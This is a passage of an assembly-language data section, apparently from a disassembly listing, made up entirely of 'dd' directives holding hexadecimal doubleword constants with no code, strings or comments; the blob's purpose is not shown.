99009CF9h, 50732423h, 84FFC5h, 8FE82144h, 0D2B52F85h dd 37C0C100h, 1B6035A7h, 87B4007Ch, 1ED6E6E8h, 33007820h dd 4998C2D5h, 317F70h, 0BEB88AA0h, 0A4D6F81Ah, 4A8ECF0Bh dd 902980CEh, 0A0F30Dh, 0AC595DDFh, 66DC4091h, 1586FB00h dd 5A76F1CBh, 0AF89003Fh, 0EEC58763h, 20000405h, 61CED7Fh dd 0F501B8h, 0BCC9F19Bh, 25EC2CEFh, 0BA45C600h, 1B75873Ah dd 4DF60050h, 6B67D459h, 0B51680FDh, 0B200513Fh, 1AD10711h dd 0A7F27Dh, 0AC57E6E5h, 9B60BD2h, 2B91F500h, 3AB9519Fh dd 3D0A3DC4h, 0D3A4D980h, 401ACF1Ch, 44C07100h, 335C7F11h dd 96930257h, 4A9E09F2h, 6C21B880h, 0A6006FCFh, 885D250h dd 17C0CEBh, 60DC59BDh, 475E27BFh, 1480C9C0h, 0D2010849h dd 3EEBAE58h, 0E97D0068h, 0B5C9C62Ch, 107E48A1h, 60715800h dd 3744D63Fh, 73A30A00h, 49E03F6h, 301C585Eh, 6B3F007Bh dd 0AE7F2643h, 510164CBh, 0BA279C79h, 0F6E81DC7h, 0B6154861h dd 403A7639h, 4FED9780h, 11D2DEE1h, 9E9C6950h, 268DBB00h dd 76CF43E8h, 6ACD585Eh, 0B6A4C938h, 0AE4980D4h, 0F79CACC4h dd 0F80CD400h, 0B50F3286h, 995A0073h, 71284943h, 0A81FEBF6h dd 9A06F181h, 198258h, 25E92A36h, 13E11E0Dh, 0A6B0FC00h dd 0B733C6E8h, 69560152h, 8577DD2h, 28406430h, 3924848h dd 0E4E0D947h, 6A0CE958h, 1F1C824h, 371C64BCh, 0E5C0F932h dd 0C39820E8h, 0DDC68F00h, 9C283157h, 0AAD10F1Ch, 0D82EEDCEh dd 7A545DC0h, 7E019B1Ah, 0B6FD48BDh, 0E430F3ABh, 0A36900DCh dd 34465BC2h, 0AD00164Fh, 0EBDFA57Eh, 1EEF68DAh, 0C13B0991h dd 7AB4CBE0h, 0DA3021ACh, 0DF502840h, 215EDA17h, 0BD6FA700h dd 7595340h, 3C5D63D2h, 417F0186h, 0C055EAA7h, 0A8DBC6h dd 69541B31h, 972DFB9Ch, 8E44D301h, 30C22241h, 0C665C140h dd 383E00BEh, 3AD3357Ah, 4901C37Fh, 309B9BCh, 0D8C7E272h dd 7B7F4BEh, 7E3E9706h, 0B5EC3043h, 0A000708h, 0DE621B4Bh dd 165632CAh, 1115F50h, 41977894h, 3DAEC88Ch, 0FF4D5D01h dd 47150996h, 1B26AC81h, 74D30F85h, 3005344h, 0E8802CFEh dd 3A9514Ch, 8EF44764h, 67CA4E14h, 532FCDC0h, 0A9ACEA26h dd 89C3F103h, 72DC00E9h, 5065CAB3h, 1F1C9C43h, 37807A40h dd 250FBFE0h, 130A039Fh, 0F906EBEEh, 4100D2ABh, 0A7A4BBE7h dd 90DD2F0Eh, 0C6D70BA4h, 0DCA073F9h, 47BDFC6Ah, 93F0AA00h dd 0E7F4B9BAh, 0F9CA0EA1h, 0D08066E4h, 0DFDE5DF3h, 7F34CB5Ch dd 0ED4DC300h, 484DAEAh, 0D47BA8h, 1821B107h, 0CDD27943h dd 0AC92CB98h, 400BDAE2h, 878EF7F8h, 0F541E7F2h, 9020B1D7h dd 0F1A6B0FEh, 4011AEC3h, 0A444A807h, 0C38E00FFh, 0B9E3C59Fh dd 2B001B44h, 0D340EC1Ah, 311064Ah, 82BB857Ah, 0B4881CF4h dd 9B0B48FBh, 0AE412981h, 4955E048h, 71AE0Eh, 525BFE9h dd 854E5920h, 726DC300h, 47C0AB7Bh, 107D06h, 0F44587E4h dd 0BA014D13h, 0AE73D500h, 0A99AB0C7h, 0A87AF46Dh, 5DFE0A0h dd 4F05A58Eh, 0D42490E9h, 8076C2Ch, 685697C6h, 0E28420EFh dd 1DBA4BEFh, 0DCCD13h, 830345FEh, 0F1B84E0Ah, 2C0199F4h dd 80E2B75Eh, 0F96038FCh, 0F2580066h, 0E6EF502Eh, 0D02EF061h dd 3200D284h, 0C5499985h, 7C7F00F2h, 0AFCDEA09h, 5A004C46h dd 2FD83972h, 55CF6Bh, 8AA723E6h, 0F2AA1044h, 0C1D17530h dd 2F6A567h, 760F1E24h, 0C850CFC1h, 0D8540C00h, 720A5BABh dd 0C3861E07h, 0F0032569h, 0E1A0F90Eh, 0C4007863h, 915DF25Ah dd 1F2907FCh, 76088ACh, 5383687Ch, 0D6E1EFEDh, 8A86E079h dd 0F6D3E0EFh, 72878B02h, 687C847Fh, 14C1F04Ch, 0AC92AD09h dd 39FA3B00h, 4FEBE7C9h, 694A060Dh, 31F0285Ah, 0F819C789h dd 755941Ah, 7E777BEDh, 9451A3h, 10F9C968h, 127867E0h dd 29D01D06h, 3B8DC3Ch, 704CC786h, 81069384h, 0F779CE2Fh dd 984B0358h, 1330C6BEh, 0E6413198h, 84F218C7h, 0B8087E1h dd 0F0FD1CFCh, 5C5D00B0h, 67CFA0Ah, 5776D5CDh, 500C959h dd 9509F87Fh, 0A7744803h, 113E2ADh, 40923421h, 0C12E8098h dd 0CBC89560h, 14FBFCC7h, 74F1B131h, 0E9509F1h, 7DB3EA01h dd 2083EC68h, 0F97FD53Ch, 0F0CC50EDh, 18CF89ABh, 758484B5h dd 31157E1Fh, 10CD09Dh, 0D81889CCh, 9395F110h, 14F90F05h dd 87A005F3h, 799C0039h, 0EE7A29F0h, 0E53C21C4h, 872C3015h dd 0DE9F06A2h, 0E4001106h, 794F08A7h, 327AA141h, 0F308A980h dd 9FCB98A0h, 0FD03EC08h, 0C20E5D0Fh, 54EFF807h, 0B4535070h dd 4A4D185Bh, 8D043118h, 0ADB38600h, 89AE8F5h, 881666Ch dd 0A80121DFh, 6963B39Eh, 642057C1h, 0B8A4AB48h, 0ECAB4028h dd 7B903009h, 9BF299F0h, 0AB0458A4h, 0A1791B08h, 0A301C738h dd 0C594D408h, 28309311h, 0D561C14Fh, 41898429h, 0D509072Ch dd 7E9040E3h, 0EA01702Dh, 0D3B1FAC2h, 40D64635h, 4DA4D8h dd 0D9234C97h, 14503FC8h, 9D008C7Eh, 0B7E99A94h, 58DB382h dd 0F92043E4h, 5BEE00BEh, 0DF3BB4F6h, 0A2BDB901h, 0EDE707C3h dd 3B5ECh, 98298017h, 0D93147E8h, 0F327B200h, 9AFE1EB0h dd 3EFEE5Dh, 0C51454E4h, 0DEE05CEBh, 221A79E7h, 3D314B26h dd 0E3990604h, 0BF001050h, 19D03BBCh, 1F1A3562h, 80416837h dd 9928A50Eh, 0D106E325h, 3EF9BFA3h, 8B2BF029h, 31220D92h dd 0C2F522E0h, 4B21CD24h, 104D1206h, 0E989C011h, 7449E08h dd 0C0228459h, 0B308FB39h, 84750544h, 42C41D22h, 0B3E1181h dd 0FFA887Ah, 3B2B2D00h, 68E4F24Bh, 7ABC008Bh, 3D0B6C26h dd 0D70798A2h, 94690F01h, 60038C90h, 0BEC400AFh, 8E30EFEAh dd 680B27B4h, 0D52056h, 9A7E5F27h, 0A87C51h, 628731E1h dd 0C9A6EB88h, 47E66100h, 2998E546h, 694C0030h, 0CA9B504Ah dd 36036440h, 0A009DD4Bh, 18AE91h, 0F5723E6Ah, 0FAE684ADh dd 0EB310700h, 0CAF44429h, 41AC3C03h, 0A22F4804h, 396F8612h dd 3A7A2700h, 2D65A98Eh, 9C28007Fh, 4962E97Eh, 0B358D439h dd 6016008Ah, 0E188B517h, 54CC00D2h, 68C88795h, 0D01F7A5h dd 59696D4Eh, 0F6FC2DBAh, 0DE340002h, 0C9D77025h, 0CD0FEDADh dd 613118h, 7F8AA30Fh, 0B0440497h, 91FEE5C4h, 0C0DA8150h dd 3001312h, 0D1304F56h, 6BF636h, 357145B3h, 0B5B225B8h dd 50313803h, 901EBD4Ah, 301F89AAh, 9B603D2Fh, 66009306h dd 0FD4617F5h, 1F6387Dh, 0EF4EA2C7h, 0FCCEF8E2h, 0F007B787h dd 25A88F88h, 48E590B2h, 1E3E774h, 0EF126AE9h, 0E40A4D59h dd 0D6003965h, 66454AC3h, 179E3h, 0B477A681h, 6CFFB714h dd 9031A8A8h, 6594AF00h, 0F5ED1A5Ch, 27BA00FEh, 8350FD61h dd 2600E45Dh, 19753190h, 3DB22CD1h, 4F1F2499h, 6ED5400Bh dd 0DDD05D05h, 0AD3B0600h dd 0F37B0934h, 5CE2007Eh, 0AA3EC35Ah, 0DF000D1Ch, 84894036h dd 108BE86h, 72BB44E8h, 0D882F37Eh, 4E007F25h, 53A5F0EAh dd 9A648Eh, 59BCFA1Bh, 0ECA4958Ah, 7F00C6F6h, 0B0A8D28Dh dd 1AE6F1Fh, 27A702Fh, 0EC331DBDh, 14713D15h, 4B86C71Dh dd 80A76449h, 940B65C3h, 0E0280088h, 0C02D62F7h, 14132E46h dd 14003E70h, 0D780EB9Eh, 762C01D8h, 200F0D81h, 0EF662026h dd 7C71E900h, 0E554ADBBh, 0E19F043Bh, 80CA87DFh, 94F38F2Ch dd 345BFB00h, 217FC3CDh, 62992498h, 0C7B5009Ch, 0CBADE2B3h dd 8E8C6E00h, 38F730A2h, 6AA500CEh, 0C0955FABh, 0A4002AFEh dd 0C28271FCh, 498524h, 5008B8A9h, 6EB55387h, 0A8894100h dd 83EB7268h, 540E0F58h, 38A1F4C0h, 2063CCAEh, 6B03F364h dd 533723BEh, 0FE93C060h, 46DA009Bh, 75B9A60Ah, 1903EA40h dd 185E4EA3h, 0A4D8E842h, 5FBA00C5h, 0BB16C84Bh, 494D8AC4h dd 0E63A12A8h, 0F5E5FC00h, 36A3F01h, 0FB88E390h, 11F8526Eh dd 0B84CBE85h, 416005ABh, 0FC402257h, 2510389Ch, 0E88090E5h dd 772A0EEFh, 0F3A02D8Dh, 62A003FBh, 4F00EE76h, 92AF42C7h dd 2F102167h, 1C7843E5h, 9D3D7D00h, 459530A8h, 4384875h dd 96E2FC0Eh, 0ACBA81E0h, 260272A1h, 5B9CFDCDh, 9A16E015h dd 0C0626063h, 0CF33D556h, 0DF1058h, 3F5BE78Ah, 19AE60h dd 6EF2210Ch, 0B568ECE0h, 0B3E9981Ch, 5C2FFC40h, 0A32DF3h dd 0E543661Fh, 6BC8EE7h, 0E9016970h, 5B854EEDh, 66D8E3C5h dd 0CA47026Ah, 0E2ADC21Eh, 54FD9890h, 42790378h, 0A000B9FCh dd 245696DCh, 0C816B2h, 0F96152AEh, 8D46441Ch, 989E9A00h dd 3956A56Dh, 1E592ED2h, 0F5A80088h, 999F0BD7h, 0DF17B300h dd 9A8B0EA4h, 6DD500EBh, 0E1458D8Eh, 0F37BC53Ch, 4B7F93EEh dd 189A8CEAh, 660B2D00h, 8FF6509Eh, 5B8D00FCh, 0B8222EE3h dd 3D0087CEh, 91B79A53h, 26CC93Ch, 3D5344Fh, 58601FD3h dd 0D009B156h, 756307EEh, 0CA825680h, 1E6115C4h, 7D982220h dd 0EF678C43h, 6814E0C2h, 4DB05898h, 81403C84h, 0FF6A099Dh dd 5801FEEEh, 20E89020h, 470FC7D4h, 60CA3898h, 8DFE7B11h dd 79AA3AE3h, 0D337006h, 460E24A4h, 20ED5F19h, 73A625FCh dd 5E70D7h, 59F31AADh, 9C3C2A17h, 51FF1F03h, 0B018E9F9h dd 0F835Ch, 0C344256Ah, 8BC74D75h, 74CCBE00h, 15FEDAD7h dd 3E050056h, 0BD192C0Fh, 3F0C415Bh, 0C81E7422h, 0ED363E87h dd 0B4E2D200h, 8076C320h, 0B1E59903h, 18222ABCh, 0C8C6ECD0h dd 809050C9h, 4DB58B09h, 0C1EC87E8h, 3ADEF490h, 485F7A63h dd 15008EF8h, 0D4B9AC3Ch, 0AF1FD762h, 77C0EE43h, 5C483A1h dd 15C492C5h, 0A47DB0E1h, 0EDC89C00h, 87E06832h, 7A0048B1h dd 9A541F0Dh, 0D5370148h, 0CB92C22Eh, 20BDD58Ch, 0E2192C50h dd 79109B84h, 26E8F7F5h, 0F9A0091h, 5BCE2ACFh, 0BC00BA45h dd 0DF924095h, 4C4ED5B4h, 789447h, 0BA585AC7h, 6271CE8Eh dd 817B2900h, 0F7647023h, 0B4DE01D6h, 7FEFF82Eh, 83884054h dd 0C92CD85Bh, 5F07DDB3h, 0D671E967h, 70C04259h, 0D8D90FB5h dd 6B2024CAh, 55CBD3E6h, 5F44960Bh, 2B020027h, 70DD43h dd 21056493h, 78594D6h, 0A649FA00h, 1819A1C7h, 0E9E614h dd 789F1C35h, 0B189CE01h, 9132AE00h, 6B55D276h, 0E405000Ch dd 74563B1Fh, 54035241h, 0E130F9E3h, 6313E842h, 5A94001Ah dd 0DDF7605Bh, 93382CA5h, 53B980CDh, 4FAA777Dh, 0A2C8A01Dh dd 22FE0219h, 0E1D2D63Ch, 64ABBA60h, 59F47A00h, 2DCB4E05h dd 0D95C00C1h, 0A6DFE574h, 981F23F8h, 3CC3B9D0h, 0C8A98F1Bh dd 137B8B42h, 0C0DC25h, 9AF512Ch, 0FD136CABh, 0B0001DCFh dd 9B660C53h, 0F1B9098Dh, 4004DC1h, 6087843Dh, 1F0A287Dh dd 0DF30628Ah, 9C09DC26h, 0FEBC83E4h, 9B86A8F0h, 72D53FBFh dd 0D8C96h, 27B05F55h, 4E01F5F6h, 0FD9CF1EBh, 0E82034D4h dd 806D002Ch, 352EBD29h, 7C0070EDh, 0A0BB6530h, 0B0955551h dd 0D9CF0E7Ch, 3DE199h, 79CC6717h, 0C5005CFDh, 3B7C23A0h dd 7E01C1EFh, 377312C7h, 45E001D1h, 0E2E08331h, 7B4F7340h dd 0E005AA4Ah, 70806BE1h, 3CD6F61Ah, 0D400049Dh, 973DB582h dd 0FD07D771h, 8E9A2E89h, 255C6D31h, 0CB55B860h, 90076341h dd 709C71FBh, 0C08047EDh, 6E4F29DFh, 730A1709h, 8C644022h dd 628601AEh, 0CCD19E15h, 3EB4246Bh, 0E72BAD07h, 407E85F8h dd 0B8373CCFh, 4010095h, 0B9D65A39h, 0CD0070E4h, 9BBBC150h dd 7A43414h, 477B25F4h, 0FAD302Fh, 5F0A8F76h, 0ECCBE932h dd 98A36D09h, 59DCC4h, 0AE3AF8A9h, 25BC646h, 718520h, 0DA3D9EB0h dd 0FFC3A7B3h, 0C700987Dh, 0F2BC2BAFh, 2EDACh, 0F8B0D68Ah dd 8F5A364h, 7174AE01h, 7F66CA83h, 478460h, 1E4D3148h dd 0F787CF16h, 0F9DCFC50h, 73816000h, 6EE046A7h, 70E0067h dd 1A111EA0h, 5B00471Fh, 268408F2h, 73543821h, 6EA800B0h dd 91B56ACh, 0C0ED2364h, 51301D58h, 63D158F6h, 8FA065Eh dd 9036AB6Dh, 3BC03C02h, 50061D8Bh, 0C92100E0h, 2F180941h dd 0C651835Fh, 106BCDDCh, 33FCF25h, 0C55EE33Ah, 0C094B320h dd 0C617B524h, 75629702h, 0E032649Ah, 0EC9D8195h, 382B049Bh dd 8056CB4Ah, 1FF720E8h, 68EB7900h, 2E069A5Ah, 0A2AD0F83h dd 4D000872h, 812BF9C5h, 0B8FA7D00h, 285E06F7h, 9BE20095h dd 90709E2Ah, 0AA008822h, 4C023DD7h, 0D67598h, 0ADE185F7h dd 0CE0AA4E5h, 7F5C2400h, 41720130h, 0F2C0009Eh, 0F525224Ch dd 0AE0334D3h, 0BDDF966h, 0CDFEF81Eh, 6A450094h, 0B8D9CBACh dd 0BCB2C51Ch, 8041993Fh, 45951DAh, 3B4C60Dh, 22761B1h dd 0FEB0E730h, 0FA3D4B65h, 1F96E116h, 0C0FE4E6Eh, 0BA7B2CC8h dd 205C0794h, 0C990B8CDh, 5597FC00h, 0BC0702ECh, 4B0EDF15h dd 1326D880h, 147E8Ch, 2CE83754h, 67EE7DB2h, 8980F77h dd 711F2600h, 4D3432E0h, 3BA301EDh, 0D57B0BC5h, 9206CC04h dd 0C712B978h, 0A11F4E20h, 9128B187h, 34818DD5h, 0ABE44238h dd 72F25Bh, 0FBFC746Bh, 58FFD622h, 168C3600h, 35DD386Ch dd 6F920B43h, 8609E868h, 7054A287h, 0C2951839h, 87C02C00h dd 2EAEB932h, 9D2200CBh, 0FAF973BEh, 0B800D725h, 0B8E77C6h dd 7BAAFA4h, 71DADFF2h, 50194098h, 29005D34h, 3004FCE2h dd 5CF2A5C2h, 0CD0FA3BBh, 35037605h, 40DABDDDh, 81B42460h dd 3608ECB1h, 88E80EDCh, 73E75DE0h, 9C00845Bh, 0EFAC0C2Ch dd 0B0A2F018h, 0C6A800B8h, 0BCFE438Bh, 0F3046AA5h, 51D1A4E1h dd 8841A4C0h, 0CC4B01h, 0AFA306DCh, 2D168BF7h, 0EC409D9Ch dd 0DF32A819h, 27F130D9h, 0BC449078h, 8CD6020Bh, 0F8DC00A6h dd 384306h, 9DBB9E63h, 69C4B4ABh, 0A9EC6000h, 4DDE587h dd 9E2F0B26h, 0A0807F12h, 9B72FA6Bh, 0BB1BA202h, 0C0AD9463h dd 0EC2CBE18h, 0CB9A0049h, 0ACEA0F96h, 0C300D225h, 41936648h dd 0F4A12905h, 34A907B2h, 0D3E07F16h, 80BD9950h, 24D8184Ch dd 0AE051F00h, 0DE87EE7Ch, 0D38E04ABh, 0C0AD9B5Fh, 2DF1F7E3h dd 0AE60B000h, 526582C1h, 0E0B8E350h, 0EB1C00CEh, 7E7A4205h dd 8011B103h, 0F860675Dh, 3FE6F5h, 2EE1EBA9h, 5A505FF6h dd 0A8379F03h, 0F8F7C1DCh, 730D3Dh, 0BAAA4DCCh, 0C5E4E225h dd 423E7C94h, 91146F00h, 0D574E93h, 0F7414A15h, 58C500F8h dd 909B2634h, 728B0A80h, 881C02F3h, 4400AC64h, 45290828h dd 9B974AAh dd 0D9CAFBCCh, 0F3E0C80Fh, 68795EEEh, 5375F000h, 8FEC906Ah dd 0B0896C3h, 38209C8Ch, 1382D3A8h, 5E91841h, 0F4407FECh dd 173D00B6h, 0DD93EF8Bh, 51013C48h, 1D101FA3h, 0B9ED06B8h dd 4AA71870h, 95B8FCh, 28F78F33h, 0F5F5775h, 0B0F916E7h dd 353800D6h, 72C674EBh, 9103E0E0h, 3AF04250h, 3313D1B4h dd 970020h, 0FD2CC577h, 0C0734C0Fh, 9C94692Ch, 8071803Fh dd 0F5854DB7h, 265C0058h, 0A74EA2CCh, 60EDB9E2h, 487FBDC2h dd 0A3380C07h, 7B00F61Ch, 7BAC041h, 5C675E53h, 0D91E008Dh dd 33007D30h, 87EAA20Ch, 0C7E7A7h, 63C0D8BEh, 0DAAAD78Dh dd 0F796B707h, 0BBB02E97h, 0B4912Ch, 0C839EC57h, 10119FE0h dd 2061A801h, 9C90C454h, 505CE2C4h, 247AE446h, 388AD8Eh dd 0E86475C0h, 0A6FA3C80h, 0BD8AED00h, 825719DEh, 0B3E95088h dd 0E0EC0Dh, 6B394B2Eh, 340FB06Fh, 0D700A77Fh, 548555A3h dd 3E9A7DAAh, 0E4522BD1h, 0BC089022h, 8147A6B7h, 0B06019Ah dd 0C9DAD854h, 88AFFB00h, 61EC71ACh, 8346006Dh, 0E29428B5h dd 1738AD7Ch, 8018259Eh, 12545680h, 0FB811297h, 1D40025Ah dd 0E481C7D4h, 3D018749h, 56A700F8h, 6046DCE1h, 0C61C006Ch dd 0D3576DB3h, 0C0E8FA9h, 0C0CF9B8Ch, 414625A0h, 30BF60D9h dd 9E5D8E82h, 0F42A9400h, 0E5B24584h, 0AC0F0F54h, 0A3A09F24h dd 2EEED527h, 5001A67Ch, 94F5DC9Dh, 300E63h, 206700F4h dd 0B47826BEh, 1700C636h, 9796BFE7h, 5DF6CE34h, 600FC407h dd 9205A35h, 7B0C0673h, 4001AF05h, 88C02407h, 1F4E92E2h dd 4723ADC8h, 807B7E9Fh, 0F7DD3F19h, 0D23B6700h, 8078C6E0h dd 9CD80E26h, 0EFC9E987h, 43054000h, 8903F4C0h, 5575B092h dd 9ACDA0C8h, 0F1330F14h, 0D408F5Ch, 2A4F7CACh, 3C343F01h dd 7F15DADEh, 3581E0h, 0A1C562A9h, 0BFA87112h, 6B0A0E75h dd 0D43E9396h, 58618707h, 0D375071Eh, 0A4905C27h, 5DA0EBh dd 304D4214h, 5BC0A382h, 0CBEA240Fh, 0EC19A0C3h, 0BD6C68Ah dd 0EE1BAB10h, 0D27AD00h, 0FF03B729h, 4A327A20h, 6B04B8E2h dd 0CDED0034h, 525F6EA9h, 364C6F24h, 9F8302C9h, 405B67E0h dd 900E2741h, 0E660009Dh, 700618EAh, 581C4C79h, 0C004F8D7h dd 78D0BB86h, 90FFF67Bh, 9B4F3D8Fh, 9172680Bh, 0E0436C80h dd 2102798Ah, 42BED7A3h, 246C7A25h, 570D10h, 81396920h dd 0C4003E14h, 61FC3F92h, 6BFDCE7h, 281EA0C7h, 0AF584037h dd 806E0020h, 7FCC5619h, 4F52000Fh, 9027403Ch, 3903375Eh dd 0A49C51D7h, 5B94B0F4h, 34413078h, 28E7E9B8h, 0C10E8600h dd 17C22B3Ch, 0DF4CC9h, 24C84438h, 81B6621Dh, 0A736374h dd 0D486304Ch, 0E58E0200h, 0D1C6A5A2h, 97690B6Eh, 0B880EFD6h dd 7326B89Ah, 57035100h, 7F0C27D9h, 0BBEE0210h, 0AB6C4D3Dh dd 0D3E9E840h, 80039F8h, 0E0E2E889h, 3042293h, 3E61C94Dh dd 0ACA1130Bh, 48B170D1h, 8281380Bh, 29780186h, 9E82245Fh dd 710EA169h, 7B494140h, 1E657600h, 0BD011557h, 0A220074h dd 0D2FFAB1Dh, 0B60DC89h, 0C1A65818h, 0AF74009Ch, 98614BB9h dd 801B041h, 23FFCC9h, 804045C4h, 0C537E2h, 8DE8E3F3h dd 5418D1BCh, 640F8302h, 0D8452523h, 51170050h, 1BB4536Ch dd 0EC07A638h, 59D782D6h, 90FF8C60h, 14BDF86Fh, 80A0EDCDh dd 0F0506901h, 21B131E1h, 4647D4EFh, 5EDA8F02h, 607D957Eh dd 71D469B8h, 8BA500FFh, 8A94FE74h, 1E00B50Fh, 6FEF663Fh dd 51C18CC8h, 70608858h, 49D702DAh, 81BD19A3h, 9D7E93C0h dd 0FE2A6000h, 0D6B463F2h, 374A0093h, 3B4D46D2h, 0C2009920h dd 19EA18D3h, 0CE925Ch, 1BB1B94Ch, 77D22ECAh, 4A0539h dd 0E9034859h, 4E4BDBh, 227BF399h, 0A9DD2B2Dh, 7700A498h dd 42D706D1h, 1F5CF45h, 965B6EA8h, 6C1EA911h, 25D01094h dd 5A40BE6Eh, 15732C8Eh, 0E2A20E0Eh, 2FBBC1E1h, 0E0FA6792h dd 5831BD40h, 1D3E73D4h, 0FD23C48Bh, 3DCF6C41h, 2BEB00BCh dd 630E70B3h, 69F3C48h, 71EA8A84h, 0F8E780D7h, 78009A61h dd 4EA0313Dh, 0F03867B6h, 0A7B30074h, 0BFC4F9C9h, 21C03F7Ah dd 0D43232Dh, 28E401h, 8DEAF793h, 0A57084ADh, 0C4838E04h dd 58E081D7h, 49CCBE6Bh, 64469280h, 2C1F8C78h, 41C0C877h dd 0D13E9230h, 7DA7F93h, 0BABEAF09h, 0B85F5024h, 0CA26601Fh dd 0DE8BA015h, 510C8004h, 0FAB6D326h, 629B06Eh, 6CF64B91h dd 40072196h, 0A192342h, 913D1C70h, 6F790812h, 9F1D0809h dd 0E7FE8080h, 9E63F9B7h, 0A9EA804Ch, 3617E81h, 34F08A07h dd 2300648Dh, 28E7F3A7h, 0EED0674Bh, 0F8390081h, 959A74AFh dd 4200B0DEh, 839753C0h, 2275Dh, 70F8E1B9h, 0A247FD8Dh dd 6325CA00h, 2F100566h, 1807394h, 7CC155Bh, 40243B17h dd 0BBBD4E98h, 9508360Eh, 53DF40EEh, 0A64847h, 6A091411h dd 60F4C9E6h, 0F1A0BD0Eh, 0E46420CBh, 0FFB5EB74h, 4BB470h dd 24A6DFDDh, 0C3F8624Fh, 7D17D4B0h, 88A3D53h, 55001453h dd 2720E1C1h, 0B8595204h, 9C0B7C84h, 80E3074Ch, 0B97986A8h dd 3E8425A9h, 0A3330840h, 94C148h, 3A7419C8h, 1716DDE9h dd 1F7D1445h, 4755C2CFh, 0C0C818A0h, 0B018E298h, 0EE40F376h dd 542124A9h, 3DE58014h, 0F7F1BCEAh, 94B95C1Dh, 295C935Ch dd 11834440h, 82D960h, 0B5F39B5Fh, 0D8EAAC0Ah, 0D7EFA00h dd 31189C08h, 8B6C05A3h, 0E805EF25h, 467F120Eh, 11EBFC07h dd 4547B4B0h, 12BA00BBh, 1F04BF6Dh, 0A402368Eh, 914D1757h dd 80C49144h, 3CB53DC8h, 2D00DA7Ch, 0E6848EA8h, 0D1DE0FDBh dd 0BC8995h, 3A5D2DAh, 13C49414h, 26E4CD5h, 84F1BFE3h dd 0F47C7CE0h, 407F6300h, 937B0BCh, 92EE1E86h, 14657DCh dd 0D911A7F6h, 0C8446138h, 0A80021A1h, 0BDDCAC1Ch, 25407h dd 5CFDBAE5h, 65A67073h, 130A84Ch, 9CEC35F4h, 99C8C5ACh dd 0EAFB167Eh, 0CD880B22h, 0FD957B00h, 161DE71Dh, 13C1F4ABh dd 0D4A20B02h, 48E833F4h, 0C81C1A3Ch, 0E500391Bh, 1D83082Bh dd 3A006F56h, 7857C5A7h, 8A9BF0h, 5261CE22h, 9E0FD534h dd 649C8500h, 1FCA6679h, 26460006h, 0B3E4AE76h, 0CC0048EAh dd 859B6169h, 0B2BD83Dh, 158CB13Ch, 0F0265061h, 6300939Eh dd 9B41B6DCh, 10E90h, 1F582D6Eh, 9917701Bh, 85810B3Bh dd 66CFE850h, 2EF310DCh, 81343D2Fh, 0BEB4AB1Ah, 0A4B1FC77h dd 0C5A1A900h, 0BCD5369h, 1C6C0019h, 0ED20B394h, 3603A412h dd 0A48167Dh, 0C351D18Eh, 0D6BEB02Eh, 6DFB9907h, 0F5A0A12Eh dd 1FAA8D9h, 0CC315158h, 404C5366h, 0A702F480h, 0BE4D25B0h dd 60E53B7Ch, 4C9AB208h, 0A716200Dh, 6B140174h, 0D107246h dd 0B92D63A8h, 330BC6D8h, 9008AE8Fh, 1D2ABA3h, 94641080h dd 2407C02Bh, 2CC3D2DEh, 192EC840h, 844102F7h, 8548A546h dd 0F6AF3E60h, 13946B00h, 28397A56h, 15C112C2h, 0BE1201C0h dd 40ECCA0Bh, 0F2351A58h, 0A0B2D800h, 0E7330D44h, 9129C038h dd 6A89CAEh, 7D4644A0h, 33C70A9h, 0F38029Dh, 704665A7h dd 320570A4h, 4FCE03D6h, 0D7E07390h, 852C6B3Eh, 28C856BFh dd 0DC09AC0h, 441900D0h, 9B47A3EAh, 0E0978506h, 780BEC72h dd 2514013Ch, 2BAC89FCh, 0A4EEC7Ah, 0A56F2100h, 9D470205h dd 79D717F7h, 766B00F2h, 0BBB2883h, 0E0C3E31Eh, 0BE195E80h dd 7EF92FB5h, 9CC716AAh, 1A5D073Bh, 76DC1C2h, 2618F04Ch dd 0BFC19115h, 0C0D20094h dd 0BB390305h, 312D19ACh, 80C908EBh, 5C80C21h, 31BBDE9h dd 0B9BE2671h, 59901C28h, 0B005DDC6h, 9E1400Eh, 0B34FD480h dd 0E4582AD8h, 5397C90h, 6AE9265h, 0FF7BC30Ah, 213B0837h dd 0E16501B0h, 0A67500C7h, 9C8BBD62h, 0B8D230FFh, 0CDD34F4h dd 443EDBD8h, 7FE0AB11h, 64C3C100h, 6CCA2ADFh, 0C056E8DEh dd 7F788021h, 790646A3h, 8B38839h, 33EB0050h, 9DC2553Bh dd 4D00FF71h, 69CF1128h, 0A40F999Ah, 29B4690h, 397105CEh dd 109C31EBh, 0B805D6F2h, 79295C38h, 3919BC30h, 2A672390h dd 0F1EC6278h, 75400AAh, 0ABD4F05Fh, 0B0018820h, 4CB9B6D2h dd 4DC4E37Eh, 3C3D01B4h, 7B40BDCBh, 0D4403A9Ah, 14A48907h dd 0D7C06A7h, 88CA8BEh, 4421136Eh, 7380A496h, 0CDF416Dh dd 9719F8F6h, 4D19E048h, 9E585A9Ch, 0AECCC0h, 3B3E6802h dd 33F00C27h, 4320B200h, 0AB10509Dh, 0B77200CBh, 0E808A8CAh dd 86009105h, 7C2599B0h, 0F894FF07h, 0A65A00D4h, 33026A01h dd 230022CCh, 8FC94734h, 0A281CBh, 9B2F04EEh, 0DB228E9h dd 31628C00h, 0AAB87BFh, 0F39000EFh, 40D5686Eh, 8F0011A0h dd 6152B4FDh, 0BC6C18h, 0A2845D14h, 0CA0AEBAAh, 9F8E4800h dd 0DC2B2F71h, 767900CCh, 120C6FD2h, 1D03A881h, 0FC6D4BC0h dd 619BA875h, 0E5C100D4h, 0E8CF2C9Eh, 0A0014397h, 0E2FCDF9h dd 7F204593h, 2474D3h, 4AF39A63h, 3C490647h, 0A6E9B506h dd 0F839C4C1h, 68641FF6h, 0C95E03B4h, 4A88F223h, 941E99EAh dd 29CA4543h, 0B08106Dh, 41CE1BEBh, 4D98FFC8h, 3C558CFh dd 0E69ADB7Eh, 8BF70020h, 9725AB0Dh, 1D6674AEh, 21F209h dd 620C73D7h, 0E176EDFCh, 0E64E6904h, 0DF039475h, 0CE89DC7h dd 0F90060AFh, 4616896Bh, 0C043815Eh, 2122F70h, 3E02A342h dd 0D860F5C1h, 0AD8C83B0h, 9C83CFCAh, 0CE1007C0h, 108BD40Ah dd 0D1A1252h, 0AD00CC75h, 0DD8948C9h, 1EF214C0h, 401C0A9Ch dd 9734E85Bh, 44F23BA6h, 0FBD3648h, 60ACAB77h, 0C6F1A83Ah dd 438E00A1h, 24491C23h, 0D300F67Eh, 0B059AA2Eh, 7453A093h dd 7DD118B2h, 0DEED54B1h, 9BDCEC05h, 0EF074F15h, 19C0BE02h dd 387BA3h, 